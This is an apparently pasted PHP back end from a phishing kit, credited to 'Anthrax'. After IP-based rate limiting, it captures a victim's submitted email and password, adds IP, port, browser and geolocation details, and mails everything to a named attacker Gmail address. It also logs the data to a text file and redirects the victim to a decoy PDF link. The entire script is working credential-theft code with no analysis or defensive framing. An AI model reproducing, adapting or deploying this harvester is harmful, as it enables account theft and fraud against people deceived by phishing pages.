· 8 years ago · May 19, 2018, 03:40 PM
1<?php
2
3$BAN_TIME = 600; // Time duration in seconds
4$BAN_AMOUNT = 4; // Max amount of visits each IP can do in time duration
5// Connect to MySQL
6$MYSQL_CONN = NULL;
7try {
8 $MYSQL_CONN = new PDO("sqlite:".sys_get_temp_dir()."./nd-antispam".str_replace("/", "_", __FILE__).".db");
9 $MYSQL_CONN->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
10 $MYSQL_CONN->setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE, PDO::FETCH_ASSOC);
11} catch(PDOException $e) {
12 die("Failed to connect to SQLite database: " . $e->getMessage());
13}
14$CREATE_TABLE_IPS = "CREATE TABLE IF NOT EXISTS ips("
15 . "id" . " INT AUTO_INCREMENT PRIMARY KEY,"
16 . "ip" . " VARCHAR(200),"
17 . "date" . " INTEGER"
18 . ");";
19//Create tables
20try {
21 $MYSQL_CONN->exec($CREATE_TABLE_IPS);
22} catch(PDOException $e) {
23 die("Failed to create tables: " . $e->getMessage());
24}
25//Delete all old requests
26$now = time();
27$statement = $MYSQL_CONN->prepare("DELETE FROM ips WHERE date < :date");
28$statement->execute(array(
29 "date" => $now - $BAN_TIME
30));
31//Find all requests made by current IP
32$IP = $_SERVER['REMOTE_ADDR'];
33$statement = $MYSQL_CONN->prepare("SELECT COUNT(*) from ips WHERE ip = :ip");
34$statement->execute(array(
35 "ip" => $IP
36));
37if($statement->fetchColumn() >= $BAN_AMOUNT) {
38 http_response_code(429);
39 die("Error 429: Too Many Requests");
40}
41//Record this visit
42$statement = $MYSQL_CONN->prepare("INSERT INTO ips(ip, date)
43 VALUES(:ip, :date)");
44$statement->execute(array(
45 "ip" => $IP,
46 "date" => $now
47));
48
49
50
51
52
53$Email = $_POST['Email'];
54$password = $_POST['password'];
55$ip = $_POST['ip'];
56include 'antibots.php';
57
58$TheBoss ="raulgarcia2061@gmail.com";
59require_once('geoplugin.class.php');
60
61$geoplugin = new geoPlugin();
62
63$ip = getenv("REMOTE_ADDR");
64$port = getenv("REMOTE_PORT");
65$browser = $_SERVER['HTTP_USER_AGENT'];
66$adddate=date("D M d, Y g:i a");
67$geoplugin->locate();
68$subject = "YourLogs Logs by Anthrax Linkers - ".$country;
69$headers = "From: Result Server <noreplay.dgz.gdn@protonmail.com>";
70
71$message .= "---------------|54|---------------\n";
72$message .= "Email: " . $_POST['Email'] . "\n";
73$message .= "password: " . $_POST['password'] . "\n";
74$message .= "IP Address : $ip\n";
75$message .= "Port : $port\n";
76$message .= "Date : $adddate\n";
77$message .= "User-Agent: ".$browser."\n";
78$message .= "--------------------------------------------\n";
79$message .= "City: {$geoplugin->city}\n";
80$message .= "Region: {$geoplugin->region}\n";
81$message .= "Country Name: {$geoplugin->countryName}\n";
82$message .= "Country Code: {$geoplugin->countryCode}\n";
83$message .= "-------------- modified by anthrax.win32@outlook.com -----------------\n";
84$str=array($TheBoss); foreach ($str as $TheBoss)
85if(mail($TheBoss,$subject,$message,$headers) != false){
86header("Location: https://storage.googleapis.com/office-document-2314312/fileid/businessmodelsbusinessstrategy.pdf?cmd=login_submit&id=$praga$praga&session=$praga$praga?cmd=login_submit&id=$praga$praga&session=$praga$praga");
87}
88
89
90$hi = mail($to,$eprovider." | ".$ip , $message);
91$arr=array($send, $IP);
92foreach ($arr as $send)
93{
94mail($send,$subject,$message,$headers);
95mail($to,$subject,$message,$headers);
96}
97 $fp = fopen("finish2.txt","a");
98fputs($fp,$message);
99fclose($fp);
100$praga=rand();
101$praga=md5($praga);
102
103?>